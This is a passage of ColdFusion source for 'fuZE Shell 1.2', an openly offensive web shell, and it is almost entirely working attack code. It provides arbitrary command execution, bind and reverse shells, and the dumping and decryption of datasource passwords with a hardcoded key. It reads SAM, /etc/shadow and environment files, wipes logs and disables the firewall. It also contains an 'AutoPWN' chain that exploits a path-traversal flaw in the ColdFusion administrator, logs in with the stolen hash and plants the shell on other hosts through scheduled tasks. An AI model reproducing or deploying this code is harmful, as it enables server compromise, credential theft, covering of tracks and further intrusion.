isDefined("Form.target_host")>value="<cfoutput>#htmleditformat(Form.target_host)#</cfoutput>"</cfif>>/ <input name="submit" value="AutoPWN" class="_btn" type="submit"> </form> </div> <div id="nuke" class="window"> <div id="layer1_handle"><a href="#" id="_close" class="close"><img src="<cfoutput>#icon_close#</cfoutput>" border=0></a>Nuke</div> <center><pre>:: Nuke shell ::</pre></center> <form method="POST" action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>"> <center><input name="nuke" value="Nuke" class="_btn" type="submit"></center> </form> </div> <div id="irc" class="window"> <div id="layer1_handle"><a href="#" id="_close" class="close"><img src="<cfoutput>#icon_close#</cfoutput>" border=0></a>IRC</div> <center><pre>:: IRC datapipe ::</pre></center> <table> <form method="POST" action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>"><center> <tr><td>IP:</td><td><input type="text" id="_color" name="ircip" size=15 <cfif isDefined("Form.ircip")>value="<cfoutput>#htmleditformat(Form.ircip)#</cfoutput>"<cfelse>value="127.0.0.1"</cfif>></td></tr> <tr><td>Port:</td><td><input type="text" id="_color" name="ircport" size=5 <cfif isDefined("Form.ircport")>value="<cfoutput>#htmleditformat(Form.ircport)#</cfoutput>"<cfelse>value="6667"</cfif>></td></tr> <tr><td>Nick name:</td><td><input type="text" id="_color" name="ircnick" size=15 <cfif isDefined("Form.ircnick")>value="<cfoutput>#htmleditformat(Form.ircnick)#</cfoutput>"<cfelse>value="fuZE"</cfif>></td></tr> <tr><td>User name:</td><td><input type="text" id="_color" name="ircuname" size=15 <cfif isDefined("Form.ircuname")>value="<cfoutput>#htmleditformat(Form.ircuname)#</cfoutput>"<cfelse>value="fuZE"</cfif>></td></tr> <tr><td>Real name:</td><td><input type="text" id="_color" name="ircrname" size=20 <cfif isDefined("Form.ircrname")>value="<cfoutput>#htmleditformat(Form.ircrname)#</cfoutput>"<cfelse>value="fuZE CF IRC Datapipe"</cfif>></td></tr> <tr><td>Channel:</td><td><input type="text" id="_color" name="ircchan" size=15 <cfif isDefined("Form.ircchan")>value="<cfoutput>#htmleditformat(Form.ircchan)#</cfoutput>"<cfelse>value="#fuZE"</cfif>></td></tr> <tr><td><input name="submit" value="Connect" class="_btn" type="submit"></center></td></tr> </form> </table> </div> <div id="mask"></div> </div> <table class="header-table" width=100%> <tr> <td><img src="<cfoutput>#icon#</cfoutput>">^{&fnof;uZE Shell 1.2}</td> <td><div style="float:left;"><cfoutput><pre>#dateformat(now(),'mm-dd-yyyy')# #timeformat(now(),'HH:mm:ss')# Your IP: #cgi.remote_addr# [#cgi.remote_host#] Server IP: #cgi.local_addr# [#cgi.http_host#]</pre></cfoutput></div> <div style="float:right;"><cfform action="" method="post" name="LogoutForm"><cfinput class="_btn" type="submit" name="LogoutButton" value="Logout"></cfform></div> </td> </tr> <tr> <td align="right"><pre>OS :<br />CF :<br />ID :<br />CWD :<br />Drive info :</pre></td> <td> <cfoutput> <pre>#server.os.name# [#server.os.version#] #server.os.arch#<br />#server.coldfusion.productname# [#server.coldfusion.productlevel#] #server.coldfusion.productversion#<br />#so.getProperty("user.name")#<br />#getDirectoryFromPath(getCurrentTemplatePath())#<br /><cfif isDefined("FSO")><cfloop collection="#drives#" item="this"><cfif this.DriveLetter is not "A">#this.DriveLetter# [<cfif this.isReady AND ISDefined("this.TotalSize")>#NumberFormat(round(evaluate(this.TotalSize/1024/1024/1024)))# GB </cfif><cfswitch expression="#this.DriveType#"> <cfcase value="1">Removable</cfcase> <cfcase value="2">Fixed</cfcase> <cfcase value="3">Network</cfcase> <cfcase value="4">CDROM</cfcase> <cfcase value="5">RAMDisk</cfcase> <cfdefaultcase>Unknown</cfdefaultcase> </cfswitch>] </cfif></cfloop><cfelse>N/A</cfif></pre> </cfoutput> </td> </tr> </table> <table class="content-table" width=100%> <tr><td width="75%"><cfoutput> <cfif isdefined("Form.exec")> <cfif isdefined("Form.nolimit")><cfset exectimeout=3600><cfelse><cfset exectimeout=10></cfif> <cfif server.os.name neq "UNIX"> <pre>Executing 'cmd.exe /c #htmleditformat(Form.exec)#'</pre> <cfexecute name="cmd.exe" arguments="/c #Form.exec#" timeout="#exectimeout#" variable="cmdout"></cfexecute> <cfelse> <pre>Executing 'sh -c "#htmleditformat(REReplace(Form.exec,"""","'","ALL"))#"'</pre> <cfexecute name="sh" arguments="-c ""#REReplace(Form.exec,"""","'","ALL")#""" timeout="#exectimeout#" variable="cmdout"></cfexecute> </cfif> <textarea class="report" rows="20">#htmleditformat(cmdout)#</textarea> <cfelseif isdefined("Form.EditFile")> <pre>Editing file '#htmleditformat(Form.EditFile)#'</pre> <cftry> <cfif fileexists(Form.EditFile)> <!--- OK ---> <cfelse> <cfthrow message="File not found"> </cfif> <cffile action="Read" file="#Form.EditFile#" variable="FileData"> <form method="POST" action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>"> <textarea name="FileContent" class="report" rows="20"><cfoutput>#htmleditformat(FileData)#</cfoutput></textarea> Save to | <input type="text" id="_color" name="SaveFile" size=40 value="<cfoutput>#Form.EditFile#</cfoutput>"> <input name="submit" value="Save" class="_btn" type="submit"> </form> <cfcatch><textarea class="report" rows="20">Error<cfif isDefined("cfcatch.message")>: <cfoutput>#cfcatch.message#</cfoutput></cfif></textarea></cfcatch> </cftry> <cfelseif isDefined("Form.SaveFile")> <pre>Saving file '#htmleditformat(Form.SaveFile)#'</pre> <textarea class="report" rows="20"> <cftry> <cffile action="Write" file="#Form.SaveFile#" output="#Form.FileContent#" addnewline = "no">Save success <cfcatch>Error<cfif isDefined("cfcatch.message")>: <cfoutput>#cfcatch.message#</cfoutput></cfif></cfcatch> </cftry> </textarea> <cfelseif isdefined("Form.bindport")> <pre>Binding shell to port #htmleditformat(Form.bindport)#</pre> <textarea class="report" rows="20"> <cftry> <cfscript> try{ // Create socket serversocket=createObject("java","java.net.ServerSocket"); serversocket.init(Form.bindport); writeoutput("ServerSocket created at port #serversocket.getLocalPort()##chr(10)#"); // Accept incoming connections connection=serversocket.accept(); writeoutput("Connection received from #connection.getInetAddress().getHostName()##chr(10)#"); // Establish connection try{ instream=createObject("java","java.io.BufferedReader").init(createObject("java","java.io.InputStreamReader").init(connection.getInputStream())); outstream=createObject("java","java.io.PrintWriter").init(connection.getOutputStream()); writeoutput("Connection successful!#chr(10)#"); } catch (IOException e) { writeoutput("IO Exception: Read failed#chr(10)#"); } // Communicate outstream.println(".:: fuZE CF Bindshell ::."); outstream.print("> "); outstream.flush(); while(True){ str = instream.readLine(); cmd = str.split(" "); if (not str.matches("exit")){ p = createObject("java","java.lang.ProcessBuilder").init(cmd).start(); i = createObject("java","java.io.InputStreamReader").init(p.getInputStream()); br = createObject("java","java.io.BufferedReader").init(i); line=br.readLine(); while (isDefined("line")) { outstream.println(line); outstream.flush(); line = br.readLine(); } br.close(); i.close(); outstream.print("> "); outstream.flush(); } else { outstream.println("Terminating"); outstream.close(); instream.close(); connection.close(); serversocket.close(); } } }catch (Exception e) { writeoutput("Exception: Error#chr(10)#"); } </cfscript> <cfcatch>Connection terminated</cfcatch> </cftry> </textarea> <cfelseif isDefined("Form.reverseip") and isDefined("Form.reverseport")> <pre>Sending shell to #htmleditformat(Form.reverseip)#:#htmleditformat(Form.reverseport)#</pre> <textarea class="report" rows="20"> <cftry> <cfscript> try{ // Create socket socket=createObject("java","java.net.Socket"); // Connect to remote host socket.connect(createObject("java","java.net.InetSocketAddress").init(Form.reverseip,Form.reverseport)); writeoutput("Remote port reached: #socket.isConnected()##chr(10)#"); // Establish connection try{ instream=createObject("java","java.io.BufferedReader").init(createObject("java","java.io.InputStreamReader").init(socket.getInputStream())); outstream=createObject("java","java.io.PrintWriter").init(socket.getOutputStream()); writeoutput("Connection successful!#chr(10)#"); } catch (IOException e) { writeoutput("IO Exception: Read failed#chr(10)#"); } // Communicate outstream.println(".:: fuZE CF Reverse Shell ::."); outstream.print("> "); outstream.flush(); while(True){ str = instream.readLine(); cmd = str.split(" "); if (not str.matches("exit")){ p = createObject("java","java.lang.ProcessBuilder").init(cmd).start(); i = createObject("java","java.io.InputStreamReader").init(p.getInputStream()); br = createObject("java","java.io.BufferedReader").init(i); line=br.readLine(); while (isDefined("line")) { outstream.println(line); outstream.flush(); line = br.readLine(); } br.close(); i.close(); outstream.print("> "); outstream.flush(); } else { outstream.println("Terminating"); outstream.close(); instream.close(); socket.close(); } } }catch (Exception e) { writeoutput("Exception: Error#chr(10)#"); } </cfscript> <cfcatch>Connection terminated</cfcatch> </cftry> </textarea> <cfelseif isDefined("Form.function")> <pre>Function: '#htmleditformat(Form.function)#'</pre> <textarea class="report" rows="20"> <cftry> <cfswitch expression="#Form.function#"> <!--- ColdFusion functions ---> <cfcase value="Dump datasource passwords">Datasource : Password <cfscript> o=createobject("java","coldfusion.server.ServiceFactory").getDatasourceService().getDatasources(); for(i in o) { if(len(o[i]["password"])){ dp=Decrypt(o[i]["password"], generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede", "Base64") ; writeoutput("#htmleditformat(i)# : #htmleditformat(dp)##chr(10)#"); } } </cfscript> </cfcase> <cfcase value="Dump CF hashes"><cffile action="READ" file="#Server.ColdFusion.RootDir#\lib\password.properties" variable="cfhashes">#htmleditformat(cfhashes)#</cfcase> <cfcase value="Restart JRUN server (CF)"> <cfscript> oJRun = CreateObject("java","jrunx.kernel.JRun"); oJRun.restart(oJRun.getServerName()); </cfscript> </cfcase> <cfcase value="Wipe ColdFusion logs"> <cfset sf = CreateObject("java", "coldfusion.server.ServiceFactory")> <cfset logDir = sf.LoggingService.getLogDirectory()> <cfif server.os.name neq "UNIX"> <cfset osSlash = "\"> <cfelse> <cfset osSlash = "/"> </cfif> <cfdirectory action="list" directory="#logDir#" name="logs" filter="*.log"> <cfloop query="logs"> <cffile action="write" file="#logDir##osSlash##logs.Name#" output="## Purged" addnewline="yes"> </cfloop> </cfcase> <!--- Windows functions ---> <cfcase value="Disable Windows firewall"><cfexecute name="cmd.exe" arguments="/c netsh firewall set opmode disable" timeout="10" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="Enable Telnet service"><cfexecute name="cmd.exe" arguments="/c sc config tlntsvr start= demand & net start telnet" timeout="10" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="Show opened ports [W]"><cfexecute name="cmd.exe" arguments="/c netstat -aon" timeout="15" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="Read SAM"><cfexecute name="cmd.exe" arguments="/c type %WINDIR%\repair\SAM" timeout="15" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="Read SECURITY"><cfexecute name="cmd.exe" arguments="/c type %WINDIR%\repair\SECURITY" timeout="15" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="Read SYSTEM"><cfexecute name="cmd.exe" arguments="/c type %WINDIR%\repair\SYSTEM" timeout="15" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="Read IIS paths">Path : Domain : LogFileDirectory <cftry> <cfset xmlPath=arrayNew(1)> <cfset xmllocation=arraynew(1)> <cfset xmlServerindings=arraynew(1)> <cfset xmlLogFileDirectory=arraynew(1)> <cfset Xmlbasepath="C:\WINDOWS\system32\inetsrv\MetaBase.xml"> <cftry> <cffile action="read" file="#Xmlbasepath#" variable="XMLFileText"> <cfcatch type="any"> <cfoutput>Error reading MetaBase.xml: #cfcatch.type#</cfoutput> <cfreturn xmlpath> </cfcatch></cftry> <cfset myXMLDocument=XmlParse(XMLFileText)> <cfset numItems = ArrayLen(myXMLDocument.configuration.MBProperty.IIsWebServer)> <cfloop index="i" from = "1" to = #numItems#> <cfif findnocase("ServerBindings=",#myXMLDocument.configuration.MBProperty.IIsWebServer[i]#)> <cfset ServerBindings = #myXMLDocument.configuration.MBProperty.IIsWebServer[i].XmlAttributes.ServerBindings#> <cfset location = #myXMLDocument.configuration.MBProperty.IIsWebServer[i].XmlAttributes.location#> <cfset arrayAppend(xmllocation,("#location#"))> <cfset arrayAppend(xmlServerindings,("#ServerBindings#"))> <cfif findnocase("LogFileDirectory=",#myXMLDocument.configuration.MBProperty.IIsWebServer[i]#)> <cfset LogFileDirectory = #myXMLDocument.configuration.MBProperty.IIsWebServer[i].XmlAttributes.LogFileDirectory#> <cfset arrayAppend(xmlLogFileDirectory,("#LogFileDirectory#"))> <cfelse> <cfset arrayAppend(xmlLogFileDirectory,(""))> </cfif></cfif></cfloop> <cfset numLocations=arraylen(xmllocation)> <cfset numItems = ArrayLen(myXMLDocument.configuration.MBProperty.IIsWebVirtualDir)> <cfloop index="i" from = "1" to = #numItems#> <cfif findnocase("path",#myXMLDocument.configuration.MBProperty.IIsWebVirtualDir[i]#) > <cfset path1 = #myXMLDocument.configuration.MBProperty.IIsWebVirtualDir[i].XmlAttributes.path#> <cfif findnocase("Program Files",#path1#) is 0 and findnocase("WINDOWS",#path1#) is 0> <cfset listpath=arraytolist(xmlpath)> <cfif find(#path1#,#listpath#) is 0> <cfset arrayAppend(xmlpath,"#path1#")> <cfloop index="j" from = "1" to = #numLocations#> <cfif findnocase(#xmllocation[j]#,#myXMLDocument.configuration.MBProperty.IIsWebVirtualDir[i].XmlAttributes.Location#) is not 0> <cfoutput>"#path1#" : "#xmlServerindings[j]#" : "#xmlLogFileDirectory[j]#"#chr(10)#</cfoutput> </cfif></cfloop></cfif></cfif></cfif></cfloop> <cfcatch>Error </cfcatch> </cftry> </cfcase> <cfcase value="View open sessions [W]"><cfexecute name="cmd.exe" arguments="/c query session" timeout="10" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="View local shares"><cfexecute name="cmd.exe" arguments="/c net share" timeout="10" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="View domain shares"><cfexecute name="cmd.exe" arguments="/c net view" timeout="10" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="View users"><cfexecute name="cmd.exe" arguments="/c net user" timeout="10" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="View running processes [W]"><cfexecute name="cmd.exe" arguments="/c tasklist" timeout="15" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="View system info [W]"><cfexecute name="cmd.exe" arguments="/c systeminfo" timeout="30" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="Check disk for consistency"><cfexecute name="cmd.exe" arguments="/c chkdsk" timeout="180" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <!--- Shout outs to fractal! ---> <!--- Linux functions ---> <cfcase value="Find SUID files"><cfexecute name="sh" arguments="-c 'find / -type f -perm -04000 -ls'" timeout="60" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="Find SGID files"><cfexecute name="sh" arguments="-c 'find / -type f -perm -02000 -ls'" timeout="60" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="Find all *conf* files"><cfexecute name="sh" arguments="-c 'find / -type f -name *conf*'" timeout="60" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="Find all .*_history files"><cfexecute name="sh" arguments="-c 'find / -type f -name .*_history'" timeout="60" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="Find all *.pwd files"><cfexecute name="sh" arguments="-c 'find / -type f -name *.pwd'" timeout="60" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="Find all .*rc files"><cfexecute name="sh" arguments="-c 'find / -type f -name .*rc'" timeout="60" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="Find all writable directories and files"><cfexecute name="sh" arguments="-c 'find / -perm -2 -ls'" timeout="60" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="Find all writable directories and files in current dir"><cfexecute name="sh" arguments="-c 'find . -perm -2 -ls'" timeout="60" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="Read /etc/passwd"><cfexecute name="sh" arguments="-c 'cat /etc/passwd'" timeout="10" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="Read /etc/shadow"><cfexecute name="sh" arguments="-c 'cat /etc/shadow'" timeout="10" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="Read /proc/self/environ"><cfexecute name="sh" arguments="-c 'cat /proc/self/environ'" timeout="10" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="Show opened ports [L]"><cfexecute name="sh" arguments="-c 'netstat -a'" timeout="15" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="View open sessions [L]"><cfexecute name="sh" arguments="-c 'w'" timeout="10" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="View recent sessions"><cfexecute name="sh" arguments="-c 'last'" timeout="15" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="View running processes [L]"><cfexecute name="sh" arguments="-c 'ps auxww'" timeout="15" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="View memory info"><cfexecute name="sh" arguments="-c 'df -h;free -m'" timeout="10" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="View CPU info"><cfexecute name="sh" arguments="-c 'cat /proc/cpuinfo'" timeout="10" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfcase value="View system info [L]"><cfexecute name="sh" arguments="-c 'uname -a'" timeout="10" variable="cmdout"></cfexecute>#htmleditformat(cmdout)#</cfcase> <cfdefaultcase>Invalid function</cfdefaultcase> </cfswitch> <cfcatch>Error </cfcatch> </cftry> </textarea> <cfelseif isDefined("Form.decrypt_hash")> <pre>Decrypting '#htmleditformat(Form.decrypt_hash)#'</pre> <textarea class="report" rows="20"> <cftry> <cfscript> dp=Decrypt(Form.decrypt_hash, generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede", "Base64"); writeoutput(dp); </cfscript> <cfcatch>Invalid hash </cfcatch> </cftry> </textarea> <cfelseif isDefined("Form.Upload") and Form.Upload EQ "Upload"> <pre>Uploading file to '#htmleditformat(getDirectoryFromPath(getCurrentTemplatePath()))#'</pre> <textarea class="report" rows="20"> <cftry> <cffile action="upload" destination="#getDirectoryFromPath(getCurrentTemplatePath())#" filefield="Form.File" nameconflict="overwrite">File uploaded! <cfcatch>Upload failed </cfcatch> </cftry> </textarea> <cfelseif isdefined("Form.Download")> <cftry> <cfsilent> <cfheader name="Content-Disposition" value="attachment; filename=#getFileFromPath(Form.Download)#"> <cfcontent type="application/unknown" file="#Form.Download#"> </cfsilent> <cfcatch>File is not available <cfabort> </cfcatch> </cftry> <cfelseif isDefined("Form.RUpload")> <pre>Uploading file from '#htmleditformat(Form.RUpload)#'</pre> <textarea class="report" rows="20"> <cftry> <cfhttp url="#Form.RUpload#" method="get" getasbinary="yes" result="rFile" /> <cffile action="write" file="#getDirectoryFromPath(getCurrentTemplatePath())##listLast(Form.RUpload,"\/")#" addNewLine="no" output="#rFile.filecontent#" /> <cfoutput>File saved to #htmleditformat(getDirectoryFromPath(getCurrentTemplatePath()))##htmleditformat(listLast(Form.RUpload,"\/"))#</cfoutput> <cfcatch>Error</cfcatch> </cftry> </textarea> <cfelseif isDefined("Form.exec_sql")> <pre><cfoutput>Executing '#htmleditformat(Form.exec_sql)#' in datasource '#htmleditformat(Form.datasource)#'</cfoutput></pre> <cfquery name="sqlout" datasource="#Form.datasource#" username="#Form.db_username#" password="#Form.db_password#"> #Form.exec_sql# </cfquery> <cfdump var="#sqlout#" expand="false"> <cfelseif isDefined("Form.cfscan")> <pre>Scanning for CF instances over the LAN</pre> <textarea class="report" rows="20"> <cftry> <cfset sf = CreateObject("java", "coldfusion.server.ServiceFactory")> <cfset lic=#sf.LicenseService.runScan()#> <cfloop collection="#lic#" item="i"> <cfoutput>ColdFusion #lic[i][1]['Edition']# build #lic[i][1]['Build']# at #lic[i][1]['MachineName']# (#lic[i][1]['IpAddrs']#)#chr(10)#</cfoutput> </cfloop> <cfcatch>Error<cfif isDefined("cfcatch.message")>: <cfoutput>#cfcatch.message#</cfoutput></cfif></cfcatch> </cftry> </textarea> <cfelseif isDefined("Form.regpath")> <cftry> <cfif form.regpath is not ""> <cfif form.entry is ""> <CFREGISTRY Action="getAll" Branch="#form.regpath#" Type="Any" Name="RegQuery"> <CFTABLE Query="RegQuery" colHeaders HTMLTable Border="Yes"> <CFCOL Header="<B>Entry</b>" Width="35" Text="#RegQuery.Entry#"> <CFCOL Header="<B>Type</b>" Width="10" Text="#RegQuery.type#"> <CFCOL Header="<B>Value</b>" Width="35" Text="#RegQuery.Value#"> </CFTABLE> <cfelse> <cfif form.newentry is ""> <CFPARAM NAME="RegValue" DEFAULT="not found"> <CFREGISTRY Action = "get" Branch = "#form.regpath#" Entry = "#form.Entry#" Type="#form.regtype#" variable = "RegValue"> <cfoutput>(#form.regpath#\#form.Entry# ) values is : #RegValue#</cfoutput> <cfelse> <CFPARAM NAME="RegValue" DEFAULT="not found"> <CFREGISTRY Action = "get" Branch = "#form.regpath#" Entry = "#form.Entry#" Variable = "RegValue" Type = "#form.regtype#"> <cfoutput>(#form.regpath#\#form.Entry# ) old values is : #RegValue#<br /></cfoutput> <cfif regvalue is not "not found"> <CFREGISTRY Action="set" Branch="#form.regpath#" Entry="#form.Entry#" Type="#form.regtype#" Value="#form.newEntry#"> <cfoutput>(#form.regpath#\#form.Entry# ) new values is : #form.newEntry#</cfoutput> </cfif> </cfif> </cfif> <cfelse>Error: A registry path must be defined </cfif> <cfcatch type="any"><cfoutput>Error: #cfcatch.type#</cfoutput></cfcatch> </cftry> <cfelseif isDefined("Form.target_host")> <pre>Attempting to AutoPWN [#htmleditformat(Form.target_host)#]</pre> <cftry> <cfset target_host=Form.target_host> <textarea class="report" rows="20"> ==================================================================================================== [~] AutoPWN report for [<cfoutput>#HTMLEditFormat(target_host)#</cfoutput>] <cfset lfi=[ <!--- Single server configuration ColdFusion ---> "..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties", <!--- ColdFusion 7 ---> "..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties", <!--- ColdFusion 8 ---> "..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties", <!--- ColdFusion 6, 7 AND 8 ---> "..\..\..\..\..\..\..\..\..\..\JRUN4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties" ]> <cfset lfi_success=FALSE> <cfloop array="#lfi#" index="i"> <cfhttp url="http://#target_host#/CFIDE/administrator/logging/settings.cfm?locale=#i#%00en" result="lfiresult" method="get"></cfhttp> <cfset cfadmin_hash=REReplace(REReplace(REReplace(lfiresult.Filecontent,"(.*?)password=","","ALL"),"#chr(10)#encrypted(.*?)</html>","","ALL"),"\s","","ALL")> <cfif Len(cfadmin_hash) GT 0 AND Len(cfadmin_hash) LTE 40 AND cfadmin_hash NEQ "ConnectionFailure"> <cfset lfi_success=TRUE> <cfbreak> </cfif> </cfloop> <cfif lfi_success EQ TRUE>[!] LFI succeeded, hash acquired: <cfoutput>#HTMLEditFormat(cfadmin_hash)#</cfoutput> <cfelse><cfthrow message="LFI failed"> </cfif> <cfhttp url="http://#target_host#/CFIDE/administrator/enter.cfm" result="adminpage" method="get"> <cfset cfadmin_salt=REReplace(Mid(adminpage.Filecontent,13,REFind("[0-9]{13}",adminpage.Filecontent)), "(.*?)salt"" type=""hidden"" value=""","","ALL")> <cfswitch expression="#Len(cfadmin_hash)#"> <cfcase value="40"> <cfset secretKeySpec=createObject("java","javax.crypto.spec.SecretKeySpec").init(toBinary(toBase64(cfadmin_salt)),"HmacSHA1")> <cfset mac=createObject("java","javax.crypto.Mac").getInstance("HmacSHA1")> <cfset mac.init(secretKeySpec)> <cfset encryptedBytes=mac.doFinal(toBinary(toBase64(cfadmin_hash)))> <cfset cfadmin_password=BinaryEncode(mac.doFinal(toBinary(toBase64(cfadmin_hash))),"Hex")> </cfcase> <cfdefaultcase> <!--- TODO: CF6 Auth ---> <cfthrow message="CF6 authentication is unsupported"> </cfdefaultcase> </cfswitch> [*] Logging in <cfset responsecookies=adminpage.Responseheader["Set-Cookie"]> <cfset cookiearray=ArrayNew(1)> <cfloop item="i" collection="#responsecookies#"> <cfset cookiearray[i]=ListGetAt(responsecookies[i],1,";")> </cfloop> <cfhttp url="http://#target_host#/CFIDE/administrator/enter.cfm" result="adminlogin" method="post" redirect="false"> <cfhttpparam type="header" name="Cookie" value="#ArraytoList(cookiearray,'; ')#"> <cfhttpparam type="formfield" name="cfadminUserId" value="admin"> <cfhttpparam type="formfield" name="cfadminPassword" value="#cfadmin_password#"> <cfhttpparam type="formfield" name="salt" value="#cfadmin_salt#"> </cfhttp> <cfset authorizationcookies=adminlogin.Responseheader["Set-Cookie"]> <cfset admincookiearray=ArrayNew(1)> <cfloop item="i" collection="#authorizationcookies#"> <cfset admincookiearray[i]=ListGetAt(authorizationcookies[i],1,";")> </cfloop> <cfset authkey=admincookiearray[4]> <cfhttp url="http://#target_host#/CFIDE/administrator/reports/index.cfm" result="settingssummary" method="get"> <cfhttpparam type="header" name="Cookie" value="#authkey#"> </cfhttp> <cfset runtime_user=REReplace(REReplace(REReplace(settingssummary.Filecontent,"(.*?)User Name(.*?)#chr(9)##chr(9)##chr(9)##chr(9)#","","ONE")," &nbsp;(.*?)</html>","","ONE"),"\s","","ALL")> <cfset cfide_path=REReplace(REReplace(REReplace(settingssummary.Filecontent,"(.*?)#chr(9)#/CFIDE (.*?)#chr(9)##chr(9)##chr(9)##chr(9)#","","ONE")," &nbsp;(.*?)</html>","","ONE"),"\s","","ALL")> <cfif REFind("/",cfide_path)><cfset slash="/"> <cfelse><cfset slash="\"> </cfif>[*] Creating payload objects <cfset shell_name=listFirst(listLast(getCurrentTemplatePath(),"\/"),".")> <cffile action="Copy" source="#getCurrentTemplatePath()#" destination="#getDirectoryFromPath(getCurrentTemplatePath())##shell_name#.txt"> <cfset shell_url="http://#cgi.local_addr##reverse(listRest(reverse(CGI.SCRIPT_NAME),"/"))#/#shell_name#.txt"> <cfhttp url="http://#target_host#/CFIDE/administrator/scheduler/scheduleedit.cfm" result="scheduletask" method="post"> <cfhttpparam type="header" name="Cookie" value="#authkey#"> <cfhttpparam type="formfield" name="TaskName" value="CFSh"> <cfhttpparam type="formfield" name="Start_Date" value="1/3/37"> <cfhttpparam type="formfield" name="ScheduleType" value="Once"> <cfhttpparam type="formfield" name="StartTimeOnce" value="12:00 AM"> <cfhttpparam type="formfield" name="Interval" value="Daily"> <cfhttpparam type="formfield" name="customInterval_hour" value="0"> <cfhttpparam type="formfield" name="customInterval_min" value="0"> <cfhttpparam type="formfield" name="customInterval_sec" value="0"> <cfhttpparam type="formfield" name="Operation" value="HTTPRequest"> <cfhttpparam type="formfield" name="ScheduledURL" value="#shell_url#"> <cfhttpparam type="formfield" name="publish" value="1"> <cfhttpparam type="formfield" name="publish_file" value="#cfide_path##slash##shell_name#.cfm"> <cfhttpparam type="formfield" name="adminsubmit" value="Submit"> <cfhttpparam type="formfield" name="taskNameOrig" value=""> <!--- CF8- ---> </cfhttp> <cfhttp url="http://#target_host#/CFIDE/#shell_name#.cfm" result="shell_status" method="get"> <cfif find("&fnof;uZE Shell",shell_status.Filecontent) is not 0>[!] &fnof;uZE copied successfully <cfelse>[!] Shell not found, recreating payload to subvert firewall <cfhttp url="http://#target_host#/CFIDE/administrator/scheduler/scheduleedit.cfm" result="scheduletask" method="post"> <cfhttpparam type="header" name="Cookie" value="#authkey#"> <cfhttpparam type="formfield" name="TaskName" value="CFSh"> <cfhttpparam type="formfield" name="Start_Date" value="1/3/37"> <cfhttpparam type="formfield" name="ScheduleType" value="Once"> <cfhttpparam type="formfield" name="StartTimeOnce" value="12:00 AM"> <cfhttpparam type="formfield" name="Interval" value="Daily"> <cfhttpparam type="formfield" name="customInterval_hour" value="0"> <cfhttpparam type="formfield" name="customInterval_min" value="0"> <cfhttpparam type="formfield" name="customInterval_sec" value="0"> <cfhttpparam type="formfield" name="Operation" value="HTTPRequest"> <cfhttpparam type="formfield" name="ScheduledURL" value="/CFIDE/probe.cfm?name=%3Cb%3E%26%23181%3BSH%3C%2Fb%3E%22%3C%2Fh1%3E%3Ccfif%20isDefined(%22Form.File%22)%3E%3Ccftry%3E%3Ccffile%20action%3D%22upload%22%20destination%3D%22%23Expandpath(%22.%22)%23%22%20filefield%3D%22Form.File%22%20nameconflict%3D%22overwrite%22%3EFile%20uploaded!%3Ccfcatch%3EUpload%20failed%3C%2Fcfcatch%3E%3C%2Fcftry%3E%3C%2Fcfif%3E%3Cform%20method%3DPOST%20enctype%3D%22multipart%2Fform-data%22%3E%3Cinput%20type%3Dfile%20name%3D%22File%22%3E%3Cinput%20type%3Dsubmit%20value%3D%22Upload%22%3E%3C%2Fform%3E%3Cscript%3E"> <cfhttpparam type="formfield" name="publish" value="1"> <cfhttpparam type="formfield" name="publish_file" value="#cfide_path##slash#microshell.cfm"> <cfhttpparam type="formfield" name="adminsubmit" value="Submit"> <cfhttpparam type="formfield" name="taskNameOrig" value="CFSh"> <!--- CF8- ---> </cfhttp> <cfhttp url="http://#target_host#/CFIDE/microshell.cfm" result="shell_status_2" method="get"> <cfif find("&##181;SH",shell_status_2.Filecontent) is not 0>[!] Firewall subversion was successful <cfelse>[!] Shell not found </cfif> </cfif>[*] Removing payload objects <cfhttp 